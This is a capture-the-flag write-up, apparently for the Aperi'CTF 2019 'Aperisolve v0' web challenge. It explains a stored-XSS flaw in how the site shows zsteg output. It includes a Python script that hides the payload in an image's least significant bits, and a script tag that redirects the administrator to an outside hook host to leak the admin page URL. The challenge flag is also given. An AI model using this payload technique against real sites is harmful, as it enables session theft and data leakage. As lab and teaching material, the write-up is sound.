Aperisolve v0

Aperi'CTF 2019 - Web (100 pts).

Aperi’CTF 2019 - Aperisolve v0

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Aperisolve v0 Web 100 3

Un membre de l’équipe Aperi’Kube a développé une platforme de stéganographie. Ce dernier l’utilise régulièrement pour superviser les uploads d’image et voler des flags ! A votre tour de voler le flag en accédant à l’accès administrateur.

Note: la platforme originale est disponible à l’adresse https://aperisolve.fr, cette dernière n’est pas vulnérable. Il est interdit d’attaquer la platforme originale.

https://aperisolve-v0.aperictf.fr

TL;DR

Hide XSS payload into LSB of an image and submit the image.

Methodology

home.jpg

After few try, we see that the web platform only accept image file as mentioned. Let’s how the platform react when we send a valid image. Here, I’ll send the following file:

profile.png

part1.jpg
part2.jpg

The platform seems to work: it display each bit layers and show the output of exif and zsteg.
Our goal is to access the admin panel but we couldn’t find any login page. However, we know that the administrator supervise regularly images submissions.
Maybe we can steal his cookie or leak his current URL with an XSS ? Since the website display Exif and Zsteg output, we can look at the JavaScript code to see if there is any protection.

Main.js :

$(document).ready(function(){
    $("#checkzsteg").click(function(){
        $(this).toggleClass("active");
        $("#incheckzsteg").attr("value", (1+parseInt($("#incheckzsteg").attr("value")))%2);
    });

    function escapeHtml(text) {
        return text
        .replace(/&/g, "&")
        .replace(/</g, "&lt;")
        .replace(/>/g, "&gt;")
        .replace(/"/g, "&quot;")
        .replace(/'/g, "&#039;");
    }
    // ...
    function askforfile(){
        if (filename == "0"){
            $("#txtbut").html("ERROR ! Reload page :/")
        }
        dragdropok = false;
        $.get( "uploads/"+filename, function( data ) {
            data = data.split("*");
            imgsdata = data.pop();
            data[0] = atob(data[0]);
            data[0] = "<h2 class='h2info'>Exif</h2>"+escapeHtml(data[0]);
            data[1] = atob(data[1]);
            data[1] = "<h2 class='h2info'>Zsteg</h2>"+data[1];
            data = data.join("");
            data = data.replace('\r\n','\r');
            // ...
        });
    }
});

First of all, there is a function called escapeHtml which escape html entities agains XSS. If we look at the source code, the function is used for Exif data escapeHtml(data[0]); but not for Zsteg data. In other word, output of Zsteg data is directly set into the page without any front-end XSS protection.

If we have a look at Zsteg, we know that we can hide xss payload into an image in order to display the payload on the result page. Let’s write a python script that will hide our XSS payload into the LSB of an image. We could have chosen another zsteg functionality such as MSB.

Here is our script to embed string into the LSB of an image:

# -*- coding: utf-8 -*-

from PIL import Image
import random
import string
from Crypto.Cipher import AES

img = Image.open("profile.png") # Open image with PIL
w,h = img.size
pxs = list(img.getdata())

##########################################
# Encode payload in LSB #
##########################################

# XSS Payload
text = "<script>document.location='https//zeecka.free.beeceptor.com';</script>"
text += " "*w*h  # pad with spaces
binary = ''.join('{:08b}'.format(ord(c)) for c in text)
newdata = []

x = 0
for i in range(h):
    for j in range(w):
        c = pxs[i*w+j] # Current
        r = c[0] - c[0]%2 + int(binary[x]) # Set LSB to 0 then update
        g = c[1] - c[1]%2 + int(binary[x+1]) # Set LSB to 0 then update
        b = c[2] - c[2]%2 + int(binary[x+2]) # Set LSB to 0 then update
        newdata.append((r,g,b))
        x += 3

new = Image.new(img.mode,img.size)
new.putdata(newdata)

new.show()
new.save(imgPath+"_payload.png")  # New image

Here our payload is a document.location to an hook URL such as beeceptor: <script>document.location='https//zeecka.free.beeceptor.com';</script>.

Let’s upload the image and see if it works…

beeceptor1.jpg

Yes it does ! We got redirected to https//zeecka.free.beeceptor.com. Now we can wait for the administrator…

10 seconds later:

headers.jpg

We got a request from the admin ! If we look at the header, we can leak the admin page: 896ef65f009be190c6346d3bc7eaa84764ce2217efaee49cf8f1c0e31f969cff.php.

Now if we reach https://aperisolve-v0.aperictf.fr/896ef65f009be190c6346d3bc7eaa84764ce2217efaee49cf8f1c0e31f969cff.php we get:

flag.jpg

Flag

APRK{We1rdXSSV3ct0r}

Zeecka